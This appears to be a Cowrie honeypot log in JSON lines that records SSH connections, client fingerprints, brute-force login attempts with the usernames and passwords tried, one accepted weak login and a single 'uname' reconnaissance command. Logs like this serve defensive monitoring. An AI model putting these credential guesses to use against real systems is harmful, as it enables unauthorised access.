{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:41.439769Z","src_ip":"45.153.34.114","session":"485261198b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:41.528678Z","src_ip":"45.153.34.114","session":"485261198b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:41.774329Z","src_ip":"175.107.32.186","session":"68bcb9a0bac3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:41.785315Z","src_ip":"45.153.34.114","session":"485261198b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.195.79.219","src_port":46676,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aada484ef4c","protocol":"ssh","message":"New connection: 159.195.79.219:46676 (10.17.0.5:22) [session: 4aada484ef4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:42.349467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:42.353992Z","src_ip":"159.195.79.219","session":"4aada484ef4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:42.453567Z","src_ip":"159.195.79.219","session":"4aada484ef4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:42.873911Z","src_ip":"45.153.34.114","session":"485261198b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RPM","message":"login attempt [root/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:42.903054Z","src_ip":"159.195.79.219","session":"4aada484ef4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:42.983257Z","src_ip":"175.107.32.186","session":"68bcb9a0bac3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:43.997440Z","src_ip":"159.195.79.219","session":"4aada484ef4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.191.96.70","src_port":43772,"dst_ip":"10.17.0.5","dst_port":22,"session":"a024d6ee6373","protocol":"ssh","message":"New connection: 92.191.96.70:43772 (10.17.0.5:22) [session: a024d6ee6373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:44.722739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:44.727710Z","src_ip":"92.191.96.70","session":"a024d6ee6373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:45.009838Z","src_ip":"92.191.96.70","session":"a024d6ee6373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws3ed","message":"login attempt [root/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:45.537890Z","src_ip":"92.191.96.70","session":"a024d6ee6373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:46.669233Z","src_ip":"92.191.96.70","session":"a024d6ee6373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59740,"dst_ip":"159.203.135.109","dst_port":22,"session":"9515c90e3c72","protocol":"ssh","message":"New connection: 45.153.34.114:59740 (159.203.135.109:22) [session: 9515c90e3c72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:49.667861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:49.676298Z","src_ip":"45.153.34.114","session":"9515c90e3c72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:49.761843Z","src_ip":"45.153.34.114","session":"9515c90e3c72","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"zookeeper","password":"zookeeper","message":"login attempt [zookeeper/zookeeper] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:50.018542Z","src_ip":"45.153.34.114","session":"9515c90e3c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.44244885444641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:50.135610Z","src_ip":"74.91.213.120","session":"549fe1a0bcac","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:50.236608Z","src_ip":"45.153.34.114","session":"9515c90e3c72","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:50.238839Z","src_ip":"45.153.34.114","session":"9515c90e3c72","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:50.339917Z","src_ip":"45.153.34.114","session":"9515c90e3c72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:50.344462Z","src_ip":"45.153.34.114","session":"9515c90e3c72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.153.231.45","src_port":37196,"dst_ip":"159.203.135.109","dst_port":22,"session":"1128c1a483ec","protocol":"ssh","message":"New connection: 185.153.231.45:37196 (159.203.135.109:22) [session: 1128c1a483ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:54.283428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:54.287975Z","src_ip":"185.153.231.45","session":"1128c1a483ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:54.416912Z","src_ip":"185.153.231.45","session":"1128c1a483ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123581321","message":"login attempt [root/1123581321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:54.967329Z","src_ip":"185.153.231.45","session":"1128c1a483ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:56.099885Z","src_ip":"185.153.231.45","session":"1128c1a483ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59762,"dst_ip":"159.203.135.109","dst_port":22,"session":"33dc2a936ccf","protocol":"ssh","message":"New connection: 45.153.34.114:59762 (159.203.135.109:22) [session: 33dc2a936ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:58.239294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:58.243426Z","src_ip":"45.153.34.114","session":"33dc2a936ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:58.337438Z","src_ip":"45.153.34.114","session":"33dc2a936ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:58.599550Z","src_ip":"45.153.34.114","session":"33dc2a936ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:37:59.707031Z","src_ip":"45.153.34.114","session":"33dc2a936ccf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51024,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae6624227c11","protocol":"ssh","message":"New connection: 45.153.34.114:51024 (159.203.135.109:22) [session: ae6624227c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:06.313359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:06.320639Z","src_ip":"45.153.34.114","session":"ae6624227c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:06.403819Z","src_ip":"45.153.34.114","session":"ae6624227c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:06.659063Z","src_ip":"45.153.34.114","session":"ae6624227c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:07.743521Z","src_ip":"45.153.34.114","session":"ae6624227c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46700,"dst_ip":"159.203.135.109","dst_port":22,"session":"53d0d5a45ece","protocol":"ssh","message":"New connection: 45.153.34.114:46700 (159.203.135.109:22) [session: 53d0d5a45ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:14.681464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:14.687348Z","src_ip":"45.153.34.114","session":"53d0d5a45ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:14.771182Z","src_ip":"45.153.34.114","session":"53d0d5a45ece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:15.181759Z","src_ip":"45.153.34.114","session":"53d0d5a45ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:38:16.273733Z","src_ip":"45.153.34.114","session":"53d0d5a45ece","protocol":"ssh"}
